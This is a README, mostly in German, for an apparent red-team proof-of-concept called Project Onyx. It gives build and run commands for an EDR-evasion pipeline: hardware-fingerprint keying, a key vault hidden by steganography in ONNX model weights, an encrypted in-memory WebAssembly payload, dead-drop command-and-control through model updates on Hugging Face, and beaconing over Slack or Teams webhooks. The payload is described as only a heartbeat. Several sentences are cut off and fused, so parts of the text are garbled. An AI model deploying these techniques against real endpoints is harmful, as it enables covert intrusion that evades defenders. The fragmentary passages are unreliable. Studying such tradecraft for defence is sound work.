
Advanced EDR Evasion via AI Telemetry Spoofing & WASM Sandboxing. Project Onyx is a PoC Red Team pipeline designed to demonstrate advanced evasion techniques against modern EDR systems. It shifts away from traditional signature-based obfuscation towards behavioral camouflage and strict environmental keying.

Fortgeschrittene EDR-Umgehung durch KI-Telemetrie-Spoofing und WASM-Sandboxing. Project Onyx ist eine PoC-Red-Team-Pipeline, die entwickelt wurde, um fortgeschrittene Umgehungstechniken gegen moderne EDR-Systeme zu demonstrieren. Sie bewegt sich weg von traditioneller signaturbasierter Verschleierung hin zu verhaltensbezogener Tarnung und strenger Umgebungsschlüsselbindung.
Dieses Projekt ist eine Proof-of-Concept-Red-Team-Forschung, die eine unkonventionelle mehrschichtige Ausführungspipeline untersucht. Die Architektur verknüpft fünf verschiedene Techniken: KI-Telemetrie-Tarnung, hardwaregebundene Umgebungsschlüsselbindung, ONNX-Gewichts-Steganographie, In-Memory-WebAssembly-Sandboxing und Dead-Drop-C2 über Downlink-Modell-Updates --> zu einer einzigen funktionalen Lieferkette.
Project Onyx erhebt nicht den Anspruch auf einen funktionierenden Bypass von Produktions-EDR-Systemen. Es ist eine architektonische Skizze: Jede Komponente ist implementiert und funktional als Teil der Kette, aber jede Schicht würde dedizierte Forschung erfordern, um gegen reale Verteidigungsmaßnahmen bedeutsam zu sein. Project Onyx ist am besten als strukturierter Ausgangspunkt für diese Art der Erkundung zu verstehen. Die Laufzeit-Payload ist absichtlich auf einen Heartbeat-Beacon beschränkt, sodass die gesamte Pipeline untersucht werden kann, ohne destruktives oder Post-Exploitation-Verhalten auszuliefern.
onnxruntime durch. Dadurch wird das ONNX-Artefakt zu einem aktiven Teil der Pipeline und nicht nur zu einer dekorativen Datei wie das vorherige kleine MLP.MachineGuid, der Volume Serial Number und der aktuellen Benutzer-SID des Ziels abgeleitet.wasm3-Interpreter ausgeführt. Die C++-Host-Anwendung fungiert lediglich als Lader und API-Brücke und stellt sichere Host-Funktionen für die WASM-Sandbox bereit.float32 ONNX-Gewichten eingebettet. Der Host extrahiert diesen Gewichtstresor aus den eingebetteten Modellbytes, authentifiziert ihn und stellt erst dann das Demo-Schlüsselmaterial wieder her.heartbeat_ack und set_status, was die Lebensfähigkeit des Kanals demonstriert, ohne die Ausführung beliebiger Befehle zu ermöglichen.
Siehe docs/architecture.md für die VOLLSTÄNDIGe architektonische Skizze von Ende zu Ende. (Ich empfehle es zum besseren Verständnis). und auch den gesamten Prozess: meine Fehler, die Konzepte und Ideen, die ich auf dem Weg dorthin in Betracht gezogen habe, und die architektonischen Kompromisse, die ich beim Aufbau von Project Onyx getroffen habe --> Medium
Dieses Projekt wurde ausschließlich zu Bildungszwecken, für Sicherheitsforschung und autorisierte Red-Team-Operationen erstellt. Die in diesem Repository (Project Onyx) demonstrierten Techniken sollen Sicherheitsexperten helfen, fortgeschrittene Umgehungsmethoden zu verstehen und Endpunktverteidigungen (EDR/XDR) zu verbessern. Verwenden Sie diese Software nicht auf einem System oder Netzwerk, das Sie nicht besitzen oder für das Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. Der Autor dieses Projekts (X-3306) übernimmt keine Haftung und ist nicht verantwortlich für Missbrauch, Schäden oder illegale Aktivitäten, die durch die Nutzung dieser Software verursacht werden. Durch das Herunterladen, Kompilieren oder Verwenden dieses Codes erklären Sie sich damit einverstanden, die volle Verantwortung für Ihre Handlungen zu übernehmen.
DiagnosticsTool.cpp - C++ Windows-Host und Wasm3/ONNX-Integration.DiagnosticsTool.rc / resource.h - Ressourcenbindungen für generierte Assets.build.py - Helfer für Fingerprinting, ONNX-Ködererzeugung, Einbettung des Gewichtstresors, Metadaten-Tresor-Kompatibilität, Dead-Drop-C2 über Downlink-Modell-Updates und WASM-Verschlüsselung.wasm_license_module/ - Rust-Quellcode für das WebAssembly-Heartbeat-Modul.wasm3/source/ - minimaler eingebundener Wasm3-Quellcode, der für den CMake-Build erforderlich ist.assets/README2.md - Format generierter Assets.docs/architecture.md - vollständige Laufzeitkette und Architekturhinweise.Installieren Sie diese unter Windows vor dem Bauen:
Python-Abhängigkeiten:
py -m pip install onnx numpy cryptography
Rust-Ziel:
rustup target add wasm32-unknown-unknown
Die CMake-Datei erwartet einen ONNX Runtime-Quell-/Build-Baum unter ./onnxruntime und verlinkt die statischen Komponentenbibliotheken aus:
onnxruntime/build/Windows/Release/Releaseonnxruntime/build/Windows/Release/vcpkg_installed/x64-windows-static-md/libFühren Sie in einer Developer PowerShell für VS 2022 den Build von ONNX Runtime wie folgt durch:
git clone --recursive https://github.com/microsoft/onnxruntime.git onnxruntime
.\onnxruntime\build.bat --config Release --parallel --compile_no_warning_as_error --skip_tests --build_shared_lib --use_vcpkg --cmake_extra_defines VCPKG_TARGET_TRIPLET=x64-windows-static-md onnxruntime_BUILD_UNIT_TESTS=OFF
Die generierte onnxruntime.dll wird nicht mit Project Onyx ausgeliefert. Project Onyx verlinkt die statischen .lib-Dateien der Komponenten, und die endgültige ausführbare Datei sollte onnxruntime.dll nicht in dumpbin /DEPENDENTS auflisten.
Ermitteln Sie den Fingerabdruck-Hash für das aktuelle Windows-Gerät:
python build.py fingerprint --show-components
Verwenden Sie die zweite gedruckte Zeile als --trigger-Wert.
Bauen Sie das Rust-WebAssembly-Modul:
cargo build --manifest-path wasm_license_module/Cargo.toml --target wasm32-unknown-unknown --release
Generieren Sie assets/model.onnx und assets/license_module.wasm.aes:
python build.py build `
--trigger "<64-char lowercase fingerprint hash>" `
--secret "<exactly-32-demo-key-chars>" `
--model-output assets/model.onnx `
--wasm-input wasm_license_module/target/wasm32-unknown-unknown/release/wasm_license_module.wasm `
--wasm-output assets/license_module.wasm.aes
Überprüfen Sie die ONNX-Tresore:
python build.py verify --trigger "<64-char lowercase fingerprint hash>" --model assets/model.onnx
Der Überprüfungsbefehl prüft sowohl den alten Metadaten-Tresor als auch den versteckten ONNX-Gewichtstresor. Beide müssen dasselbe 32-stellige Demo-Schlüsselmaterial entsperren.
Der Standardträger ist SqueezeNet 1.0 opset 12:
onnxmodelzoo/squeezenet1.0-12assets/base/squeezenet1.0-12.onnxdata_0, float[1, 3, 224, 224]softmaxout_1, float[1, 1000, 1, 1]Holen oder überprüfen Sie das gebündelte Basismodell:
python build.py fetch-model
build.py build kopiert dieses echte Modell, fügt Project Onyx-Metadaten hinzu, bettet den authentifizierten ONNX-Gewichtstresor in die LSBs seiner float32-Initialisierer ein und schreibt das endgültige Referenzmodell nach assets/model.onnx.
Der zusätzliche Downlink ist eine Forschungserweiterung zum Testen, ob ein normales ONNX-Modell-Update ein authentifiziertes, winziges Steuersignal als einfachen PoC tragen kann. Es ist bewusst auf zwei sichere Direktiven beschränkt:
heartbeat_ack - ändert den Laufzeit-Heartbeat-Status auf heartbeat_ack.set_status - ändert den Laufzeit-Heartbeat-Status auf einen vom Operator gewählten sicheren String wie lab_downlink_ack.Erstellen Sie ein Labor-Update-Modell:
python build.py downlink-build `
--trigger "<64-char lowercase fingerprint hash>" `
--reference-model assets/model.onnx `
--output assets/downlink_update.onnx `
--command set_status `
--status lab_C2_test `
--expires-unix 4102444800 `
--cover-seed 2026 `
--cover-fraction 0.08 `
--cover-noise-scale 0.00004
Überprüfen Sie es vor der Verwendung:
python build.py downlink-verify `
--trigger "<64-char lowercase fingerprint hash>" `
--reference-model assets/model.onnx `
--model assets/downlink_update.onnx
Richten Sie es auf ein rohes HTTPS-Modell-Artefakt aus, z. B. ein öffentliches Release-Asset:
$env:PROJECT_ONYX_DOWNLINK_MODEL_URL = "https://huggingface.co/<profile>/<repo>/resolve/main/downlink_update.onnx"
.\build\Release\ProjectOnyx.exe
Oder verwenden Sie Webhook Slack/Teams:
Project Onyx bettet keine echte Webhook-URL ein. Für autorisierte Labordurchläufe setzen Sie:
Die Variable muss für den Prozess sichtbar sein, der ProjectOnyx.exe startet. Wenn Sie die ausführbare Datei per Doppelklick starten, setzen Sie sie zuerst als Benutzer- oder Systemumgebungsvariable, öffnen Sie dann ein neues Terminal oder starten Sie Explorer neu. Und führen Sie den nativen Host mit einem lokalen Update-Modell aus:
$env:PROJECT_ONYX_DOWNLINK_MODEL_PATH = "$($PWD.Path)\assets\downlink_update.onnx"; $env:PROJECT_ONYX_SLACK_WEBHOOK_URL = "https://hooks.slack.com/services/..."; .\build\Release\ProjectOnyx.exe
(Sie können auch Teams verwenden)
Die Laufzeit führt beim Start einen einzigen Abruf/Lesevorgang durch. Sie fragt nicht ab, bleibt nicht bestehen, führt keinen heruntergeladenen Code aus und verarbeitet keine beliebigen Befehle. Ungültige, abgelaufene, nicht zusammenhängende oder nicht authentifizierte Modell-Updates werden ignoriert.
Laufzeit-Überprüfungsknöpfe:
$env:PROJECT_ONYX_ONNX_TELEMETRY_PASSES = "24"
$env:PROJECT_ONYX_REQUIRE_ONNX_TELEMETRY = "1"
$env:PROJECT_ONYX_LAB_OUTPUT_PATH = "$($PWD.Path)\assets\lab_heartbeat.json"
PROJECT_ONYX_ONNX_TELEMETRY_PASSES steuert, wie viele echte ONNX Runtime-Inferenzen ausgeführt werden, bevor der Tresor-Entsperrpfad fortgesetzt wird. PROJECT_ONYX_REQUIRE_ONNX_TELEMETRY=1 macht Telemetriefehler zu harten Fehlern, was nützlich ist, um zu validieren, dass die ONNX-Stufe nicht übersprungen wird. PROJECT_ONYX_LAB_OUTPUT_PATH schreibt das endgültige Heartbeat-JSON in eine lokale Datei zur Laborüberprüfung, ohne einen Webhook zu benötigen.
Dieses Repository enthält ein echtes SqueezeNet-Referenzmodell, da es klein genug für GitHub ist und dennoch ein legitimes trainiertes neuronales Netz darstellt. Für ein stärkeres Forschungsartefakt erstellen Sie ein aktualisiertes Modell durch echtes Feintuning oder einen anderen normalen Modellwartungsprozess. Der Downlink-Einbetter kann dann seine Bitänderungen auf Gewichte beschränken, die sich bereits relativ zum Referenzmodell geändert haben. Das ist die praktische Version der Idee „in Feintuning-Rauschen verstecken“, Link zum vollständigen Nebenprojekt: https://github.com/X-3306/ONNXStego
Für eine schnelle Laborvalidierung kann downlink-build ein gesätes zufälliges, feintuning-ähnliches Cover-Update aus dem Referenzmodell synthetisieren. Das beweist die End-to-End-Mechanik und liefert natürliche Kandidatengewichte für den LSB-Eintrag, ist aber KEIN Ersatz für eine empirische Bewertung an einer realen Aufgabe, einem Datensatz und einem Feintuning-Verfahren.
Konfigurieren und bauen Sie die Release-ausführbare Datei:
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
Die endgültige ausführbare Datei ist:
build\Release\ProjectOnyx.exe
Optionale Abhängigkeitsprüfung:
& "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\x64\dumpbin.exe" /DEPENDENTS build\Release\ProjectOnyx.exe
Erwartet: keine onnxruntime.dll-Abhängigkeit.
Die Demo umfasst keine Persistenz, Privilegienausweitung, Anmeldeinformationszugriff, laterale Bewegung, beliebige Befehlsausführung, destruktives Verhalten oder gebündelte private Webhook-Token. Das WebAssembly-Modul ist darauf beschränkt, ein Heartbeat-JSON als einfachen PoC zu formatieren und zurückzugeben. Der zusätzliche Modell-Update-Downlink kann diesen Heartbeat-Status nur über die Whitelist heartbeat_ack / set_status ändern. Wenn Sie interessante Ideen für dieses Projekt haben, zögern Sie nicht, uns zu kontaktieren: [email protected]